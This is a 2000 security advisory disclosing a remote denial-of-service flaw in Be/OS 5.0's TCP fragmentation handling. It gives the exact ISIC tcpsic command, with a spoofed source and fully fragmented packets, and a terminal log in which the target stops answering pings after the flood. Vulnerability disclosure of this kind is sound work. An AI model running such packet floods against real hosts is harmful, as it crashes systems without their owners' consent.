beos5-dos.txt

` AUX Technologies.  
  
Security Advisory.  
  
Advisory: Remote Denial of Service against Be/OS.  
  
Release Date: May 15, 2000.  
  
Status: No fix yet.  
  
Vulnerable version: Be/OS Personal 5.0 build feb 212000 4:43:00.  
  
Vendor: Contacted and no answer.  
  
Shoutz: AUX PPL(braSil rulez), dethl0k, cryonic, drk, grafspee and  
mike frantzen(isic), a "fuck you" to sgi (stole codes is bad for your health).  
  
Description:  
  
The Be/OS Operating System version 5.0 have a vulnerability in the  
tcp fragmentation which can lock up the entire system, needing a cold  
reset to back work. The bug can be reproduced using the ISIC-0.05.  
  
[root@localhost isic-0.05]# ping 10.0.1.46  
PING 10.0.1.46 (10.0.1.46) from 10.0.3.5 : 56(84) bytes of data.  
64 bytes from 10.0.1.46: icmp_seq=0 ttl=255 time=7.3 ms  
64 bytes from 10.0.1.46: icmp_seq=1 ttl=255 time=1.8 ms  
  
--- 10.0.1.46 ping statistics ---  
2 packets transmitted, 2 packets received, 0% packet loss  
round-trip min/avg/max = 1.8/4.5/7.3 ms  
[root@localhost isic-0.05]# ./tcpsic -s 1.1.1.1 -d 10.0.1.46 -r 31337 -F100 -V0  
-I0 -T0 -u0 -t0  
Compiled against Libnet 1.0.1b  
Installing Signal Handlers.  
Seeding with 31337  
No Maximum traffic limiter  
Using random source ports.  
Using random destination ports.  
Bad IP Version = 0% IP Opts Pcnt = 0%  
Frag'd Pcnt = 100% Urg Pcnt = 0%  
Bad TCP Cksm = 0% TCP Opts Pcnt = 0%  
  
1000 @ 1802.8 pkts/sec and 1174.6 k/s  
2000 @ 1636.8 pkts/sec and 1105.5 k/s  
3000 @ 2110.2 pkts/sec and 1396.4 k/s  
4000 @ 1689.1 pkts/sec and 1105.4 k/s  
Caught signal 2  
Used random seed 31337  
Wrote 5002 packets in 2.74s @ 1824.48 pkts/s  
[root@localhost isic-0.05]# ping 10.0.1.46  
PING 10.0.1.46 (10.0.1.46) from 10.0.3.5 : 56(84) bytes of data.  
  
--- 10.0.1.46 ping statistics ---  
11 packets transmitted, 0 packets received, 100% packet loss  
[root@localhost isic-0.05]#  
  
===============================================================================  
visi0n  
AUX Technologies  
[www.aux-tech.org]  
  
`